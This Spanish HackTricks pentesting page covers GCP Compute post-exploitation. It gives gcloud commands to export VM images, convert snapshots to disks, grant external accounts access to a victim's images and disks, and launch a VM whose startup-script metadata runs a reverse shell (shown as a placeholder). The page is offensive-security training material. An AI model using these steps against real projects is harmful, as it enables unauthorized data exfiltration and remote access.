Files
hacktricks-cloud/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md

4.4 KiB

GCP - Compute Post Explotación

{{#include ../../../banners/hacktricks-training.md}}

Compute

Para más información sobre Compute y VPC (Redes) consulta:

{{#ref}} ../gcp-services/gcp-compute-instances-enum/ {{#endref}}

Exportar e Inspeccionar Imágenes localmente

Esto permitiría a un atacante acceder a los datos contenidos dentro de imágenes ya existentes o crear nuevas imágenes de VMs en ejecución y acceder a sus datos sin tener acceso a la VM en ejecución.

Es posible exportar una imagen de VM a un bucket y luego descargarla y montarla localmente con el comando:

gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally

Para realizar esta acción, el atacante podría necesitar privilegios sobre el bucket de almacenamiento y, sin duda, privilegios sobre cloudbuild, ya que es el servicio que se va a solicitar para realizar la exportación.
Además, para que esto funcione, el SA de codebuild y el SA de compute necesitan permisos privilegiados.
El SA de cloudbuild <project-id>@cloudbuild.gserviceaccount.com necesita:

  • roles/iam.serviceAccountTokenCreator
  • roles/compute.admin
  • roles/iam.serviceAccountUser

Y el SA <project-id>-compute@developer.gserviceaccount.com necesita:

  • roles/compute.storageAdmin
  • roles/storage.objectAdmin

Exportar e Inspeccionar Instantáneas y Discos localmente

No es posible exportar instantáneas y discos directamente, pero es posible transformar una instantánea en un disco, un disco en una imagen y, siguiendo la sección anterior, exportar esa imagen para inspeccionarla localmente.

# Create a Disk from a snapshot
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]

# Create an image from a disk
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]

Inspeccionar una imagen creando una VM

Con el objetivo de acceder a los datos almacenados en una imagen o dentro de una VM en ejecución desde donde un atacante ha creado una imagen, es posible otorgar a una cuenta externa acceso a la imagen:

gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'

y luego crea una nueva VM a partir de ella:

gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]

Si no pudiste dar acceso a tu cuenta externa a través de la imagen, podrías lanzar una VM usando esa imagen en el proyecto de la víctima y hacer que los metadatos ejecuten un reverse shell para acceder a la imagen añadiendo el parámetro:

--metadata startup-script='#! /bin/bash
echo "hello"; <reverse shell>'

Inspeccionar un Snapshot/Disk adjuntándolo a una VM

Con el objetivo de acceder a los datos almacenados en un disco o un snapshot, podrías transformar el snapshot en un disco, un disco en una imagen y seguir los pasos anteriores.

O podrías otorgar acceso a una cuenta externa sobre el disco (si el punto de partida es un snapshot, otorga acceso sobre el snapshot o crea un disco a partir de él):

gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'

Adjuntar el disco a una instancia:

gcloud compute instances attach-disk [INSTANCE_NAME] \
--disk [DISK_NAME] \
--zone [ZONE]

Montar el disco dentro de la VM:

  1. SSH en la VM:
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
  1. Identificar el Disco: Una vez dentro de la VM, identifica el nuevo disco listando los dispositivos de disco. Típicamente, puedes encontrarlo como /dev/sdb, /dev/sdc, etc.
  2. Formatear y Montar el Disco (si es un disco nuevo o en bruto):
  • Crear un punto de montaje:
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
  • Montar el disco:
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]

Si no puedes dar acceso a un proyecto externo a la instantánea o disco, es posible que necesites realizar estas acciones dentro de una instancia en el mismo proyecto que la instantánea/disco.

{{#include ../../../banners/hacktricks-training.md}}